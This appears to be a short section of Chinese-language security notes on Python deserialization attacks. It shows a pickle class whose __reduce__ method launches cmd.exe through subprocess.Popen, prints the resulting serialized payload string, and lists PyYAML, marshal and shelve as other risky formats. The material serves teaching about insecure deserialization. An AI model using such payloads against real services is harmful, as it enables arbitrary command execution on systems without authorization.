5.2.2. 反序列化
5.2.2.1. pickle
- >>> class A(object):
- ... a = 1
- ... b = 2
- ... def __reduce__(self):
- ... return (subprocess.Popen, (('cmd.exe',),))
- ...
- >>> cPickle.dumps(A())
- "csubprocess\nPopen\np1\n((S'cmd.exe'\np2\ntp3\ntp4\nRp5\n."
5.2.2.2. 其他
- PyYAML
- marshal
- shelve